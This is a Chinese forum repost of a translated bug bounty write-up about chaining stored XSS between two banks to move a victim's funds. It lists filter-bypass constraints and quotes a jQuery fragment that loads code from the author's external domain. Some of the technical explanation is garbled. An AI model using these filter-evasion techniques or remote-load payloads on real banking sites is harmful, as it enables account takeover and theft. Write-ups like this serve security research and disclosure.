搜索

[2106] 2020-07-31_我如何入侵一家银行&获得$10000

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-16
2020-07-31_我如何入侵一家银行&获得$10000 ​ 我 如 何 入 侵 一 家 银 行 & 获 得 $ 1 0 0 0 0 H g _ r e a l   E D I 安 全   2 0 2 0 - 0 7 - 3 1 已 经 过 去 了 5 天 ， 我 没 有 提 交 任 何 漏 洞 ， 我 处 于 精 神 崩 溃 的 边 缘 。 突 然 ， 我 灵 光 一 现 ， 如 果 可 以 利 用 一 家 银 行 ， 该 银 行 可 以 将 X S S 发 送 到 另 一 台 有 X S S 的 银 行 ， 而 当 受 害 者 登 录 到 拥 有 X S S 的 银 行 时 ， 他 们 的 资 金 将 被 转 移 到 攻 击 者 的 银 行 帐 户 中 ？ 似 乎 这 种 情 况 可 行 ， 因 为 我 知 道 一 个 允 许 X S S 的 银 行 ， 但 他 们 不 能 向 自 己 的 账 户 发 送 X S S ， 我 也 知 道 可 以 发 送 X S S 的 银 行 ， 但 不 能 在 自 己 的 网 站 上 利 用 X S S 。 我 立 即 尝 试 向 其 他 银 行 和 B I N G O   发 送 一 个 小 的 X S S   p a y l o a d   ， J a v a s c r i p t 正 在 执 行 ， 但 是 它 没 有 弹 出 我 发 送 的 x s s 。 又 过 了 五 天 ， 到 目 前 为 止 ， 我 真 的 快 要 弹 出 这 个 X S S 了 下 面 是 我 的 研 究 记 录 ： ·               收 到 的 X S S   p a y l o a d 最 大 长 度 只 能 为 1 4 0 个 字 符
·               它 会 将 所 有 内 容 都 大 写 ， 也 是 < S C R I P T > 标 签 ·               使 用 串 联 的 < B R > 标 签 每 3 8 个 字 符 中 断 p a y l o a d ·               字 符 + a n d { a n d } 被 转 义                                                                                                       因 此 有 效 负 载 将 替 换 O 字 符 我 的 第 一 个 p a y l o a d 是 发 送 外 部 C S S 文 件 ， 在 这 里 没 什 么 大 问 题 。 单 引 号 会 将 < B R > 标 记 封 装 到 Z 属 性 中 ， 但 是 现 在 我 遇 到 了 编 码 解 码 问 题 。                                                                                                   等 一 下 ， 这 是 小 写 的 “ l o a d ” 在 这 里 做 什 么 无 法 执 行 大 写 的 j a v a s c r i p t ， 因 为 小 写 的 版 本 会 这 样 做 ， 这 显 然 是 八 进 制 格 式 ， 这 种 情 况 通 常 发 生 在 将 d d d 转 换 为 八 进 制 解 码 格 式 的 部 分 。 我 将 “ l o a d ” 存 储 到 G 变 量 中 ， 并 替 换 为 j Q u e r y   H E A D $ ( ' H E A D ' ) [ “   l o a d ” ] ( “   / / H G R E A L . b e ” ) 。 现 在 ， 整 个 页 面 都 注 入 了 我 发 送 的 先 前 的 C S S   p a y l o a d ， 所 以 无 论 何 时 移 动 鼠 标 ， p a y l o a d 都 将 执 行 。 本 文 不 会 显 示 已 执 行 的 恶 意 j a v a s c r i p t ， 因 为 这 会 泄 漏 公 司 的 名 称 。 我 提 交 了 漏 洞 报 告 ， 并 获 得 了 $ 1 0 0 0 0 。 几 个 月 后 ， 我 辞 职 ， 成 为 了 一 名 全 职 的 漏 洞 赏 金 猎 人 。 希 望 您 喜 欢 这 篇 文 章 ， 并 乐 于 狩 猎 ！

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理